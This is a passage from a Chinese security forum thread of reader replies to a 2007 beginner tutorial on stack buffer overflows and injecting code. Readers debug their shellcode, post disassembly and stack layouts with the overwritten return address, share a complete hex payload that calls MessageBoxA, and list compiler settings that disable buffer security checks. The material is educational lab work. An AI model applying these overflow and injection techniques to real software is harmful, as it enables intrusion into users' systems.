首页
社区
课程
招聘
[技术专题]软件漏洞分析入门_5_初级栈溢出D_植入任意代码
2007-12-16 17:06 38699

[技术专题]软件漏洞分析入门_5_初级栈溢出D_植入任意代码

2007-12-16 17:06
38699
收藏
点赞7
打赏
分享
最新回复 (112)
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-21 14:39
51
0
感谢关注我的问题,OD反汇编后的代码如下:
0012FAF0    33DB            xor     ebx, ebx
0012FAF2    53              push    ebx
0012FAF3    58              pop     eax
0012FAF4    77 65           ja      short 0012FB5B
0012FAF6    73 74           jnb     short 0012FB6C
0012FAF8    68 6661696C     push    6C696166
0012FAFD    8BC4            mov     eax, esp
0012FAFF    53              push    ebx
0012FB00    50              push    eax
0012FB01    50              push    eax
0012FB02    53              push    ebx
0012FB03    B8 DED83B77     mov     eax, user32.MessageBoxA
0012FB08    FFD0            call    near eax
0012FB0A    90              nop
0012FB0B    90              nop
0012FB0C    90              nop
0012FB0D    90              nop
0012FB0E    90              nop
0012FB0F    90              nop
0012FB10    90              nop
0012FB11    90              nop

vc中的反汇编如下:
6:    XOR EBX,EBX
0040103C 33 DB                xor         ebx,ebx
7:    PUSH EBX
0040103E 53                   push        ebx
8:    PUSH 74736577h
0040103F 68 77 65 73 74       push        74736577h
9:    PUSH 6C696166h
00401044 68 66 61 69 6C       push        6C696166h
10:   MOV EAX,ESP
00401049 8B C4                mov         eax,esp
11:   PUSH EBX
0040104B 53                   push        ebx
12:   PUSH EAX
0040104C 50                   push        eax
13:   PUSH EAX
0040104D 50                   push        eax
14:   PUSH EBX
0040104E 53                   push        ebx
15:   MOV EAX, 0x773bd8de
0040104F B8 DE D8 3B 77       mov         eax,773BD8DEh
16:   CALL EAX
00401054 FF D0                call        eax
没看出来哪有问题啊?看来还是太菜!`希望帮看下!`
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-21 15:05
52
0
很明显: 下面这个数据有错:

0012FAF3    58              pop     eax

应该是68,而不是58, 以后敲键盘和看数据时,小心一点哦!
雪    币: 246
活跃值: (10)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
天高飞扬 5 2007-12-21 15:51
53
0
个人感觉在49楼代码中:
好,照你说的继续
换成44个字节的
0012FAF0 5853DB33 buffer
0012FAF4 74736577 buffer+4
0012FAF8 69616668
0012FAFC 53C48B6C
0012FB00 B8535050
0012FB04 773BD8DE user32.MessageBoxA
0012FB08 9090D0FF
0012FB0C 90909090
0012FB10 90909090
0012FB14 90909090
0012FB18 90909090 buffer+44
0012FB1C 0040106C justt.0040106C authenticated
0012FB20 90909090 ebp
0012FB24 0012FAF0 ip 返回地址

上面红色部分应该有误,应该还是用4个90来填充,原因是如果用0040106C的话,由于在之前fscanf函数读到此处时遇到0040106C前的两个00则提前结束,而后面的两条指令根本没读进去。
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LULU 2007-12-22 13:41
54
0
请问显示反汇编后显示函数名而不是显示函数编号的OD插件是什么?谢谢大侠能帮助我,有这个插件的话不妨上传一个

我也有如第四讲上所说39楼的问题,我在导入库中加了一些库都没成功,哪位大侠帮忙吱一声
雪    币: 243
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
coolbye 2007-12-22 16:34
55
0
这人太现实,但如果你是自己用VC编译的Debug版本的话,用OD打开,查看-》源码,就可以直接定位到了
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LULU 2007-12-22 17:42
56
0
楼上,我试了,还不行啊
雪    币: 243
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
hpxpj 1 2007-12-23 15:01
57
0
我完成了
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-23 17:03
58
0
感谢大家关注,现在不方便调试,明天再去试试!
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-24 12:51
59
0
终于成功,把0012FAF3    68              pop     eax写错为58了,抄错了,郁闷,搞了好久,终于成功,吱一个!`嘿嘿...
雪    币: 1969
活跃值: (46)
能力值: (RANK:550 )
在线值:
发帖
回帖
粉丝
hawking 12 2007-12-24 20:55
60
0
鼠年将至 沾沾鼠气 也吱一下
 
0012FAF0    50                   push    eax                              ; Buffer[0]--->0012FAF0
0012FAF1    83EC 40              sub     esp, 40
0012FAF4    33DB                 xor     ebx, ebx
0012FAF6    53                   push    ebx
0012FAF7    68 6861776B          push    6B776168                         ; "hawk"--->Message Info
0012FAFC    8BC4                 mov     eax, esp
0012FAFE    53                   push    ebx
0012FAFF    50                   push    eax
0012FB00    50                   push    eax
0012FB01    53                   push    ebx
0012FB02    B8 8A05D577          mov     eax, user32.MessageBoxA          ; 77D5058A--->MessageBoxA
0012FB07    FFD0                 call    eax
0012FB09    83C4 48              add     esp, 48
0012FB0C    58                   pop     eax
0012FB0D    8BEF                 mov     ebp, edi
0012FB0F    B9 E7EEBFFF          mov     ecx, FFBFEEE7
0012FB14    F7D1                 not     ecx
0012FB16    FFE1                 jmp     ecx                              ; 00401118--->Return Address


 
0012FAF0 50 83 EC 40 33 DB 53 68 68 61 77 6B 8B C4 53 50 P冹@3跾hhawk嬆SP
0012FB00 50 53 B8 8A 05 D5 77 FF D0 83 C4 48 58 8B EF B9 PS笂誻袃腍X嬶
0012FB10 E7 EE BF FF F7 D1 FF E1 90 90 90 90 90 90 90 90 珙?餮釔悙悙悙
0012FB20 90 90 90 90 F0 FA 12 00 悙悙瘊.|?.


 
50 83 EC 40 33 DB 53 68 [COLOR=blue]68 61 77 6B[/COLOR] 8B C4 53 50 50 53 B8 [COLOR=blue]8A 05 D5 77[/COLOR] FF D0 83 C4 48 58 8B EF B9 [COLOR=blue]E7 EE BF FF[/COLOR] F7 D1 FF E1 90 90 90 90 90 90 90 90 90 90 90 90 [COLOR=blue]F0 FA 12 00[/COLOR]
雪    币: 431
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2007-12-25 14:10
61
0
关于查找API函数的方法,可否用OD加载user32.dll,然后查找导出函数MessageBoxA,跳转到该函数的所在位置,对应地址就是了该函数的虚拟地址了吧!!!1
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
overfgf 2007-12-26 16:32
62
0
实验成功,学习
雪    币: 224
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
救世猪 1 2007-12-27 17:43
63
0
恩,学习了~~~~~
应该找到ExitProcess的地址
push 0
call [ExitProcess]应该可以安全退出了吧
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zle001 2007-12-28 00:07
64
0
可能我比较习惯用vc2003,第四章的内容,其实用vc2003编译也可以实现。就是注意将几个配置改一下就行了:
1、code generation 中Smaller Type Check:NO
2、code generation 中Base Runtime Checks:Default
3、code generation 中Buffer sucurity check:No
4、language 中全 NO
就可以了。
看你的文章也为你的例子扩展做一点小贡献,算是对你这么好的文章的感谢!!!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zle001 2007-12-28 00:19
65
0
可能我比较习惯用vc2003,第四章的内容,其实用vc2003编译也可以实现。
就是注意将几个配置改一下就行了:
1、code generation 中Smaller Type Check:NO
2、code generation 中Base Runtime Checks:Default
3、code generation 中Buffer sucurity check:No
4、language 中全 NO
还有一个函数得改一下
1、你用fscan读取文件,应换成fread,好像fscan中用了字符串调整。
这样就可以了。
看你的文章也为你的例子扩展做一点小贡献,算是对你这么好的文章的感谢!!!
雪    币: 1261
活跃值: (2524)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
AEVE 2008-1-3 12:21
66
0
是的   。查找所有模块中的名称最快了 我认为。。。。
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
落魄江湖一书生 2008-1-4 23:26
67
0
专门的破坏啊
雪    币: 236
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shinechou 2008-1-10 17:49
68
0
真是期待啊,写得太棒了,真是相见恨晚,大侠辛苦!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qandzjl 2008-1-14 11:22
69
0
用OllyDbg加载这个生成的PE文件进行动态调试,字符串拷贝函数过后的栈状态如图。

这句话的后半段怎么实现不了呢,用OD加载进入到main函数时就JMP走,怎么才能解决啊??
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wolfzhu 2008-1-17 17:08
70
0
动态定位BUFFER用$
动态定位MessageBoxA用GetProcAddress
没试,不知道我说得对不
雪    币: 229
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
bruclan 2008-1-19 00:54
71
0
ok,操作成功,吱吱吱吱……
雪    币: 125
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Macinsh 2008-1-19 17:00
72
0
好文,学习中
雪    币: 182
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LoveZhuYiF 2008-1-20 18:05
73
0
学习~~~~
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
petnt 12 2008-1-22 15:23
74
0
学习学习再学习
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
solidyjd 2008-1-24 00:02
75
0
终于看完了这一课,好好消化一下:)
游客
登录 | 注册 方可回帖
返回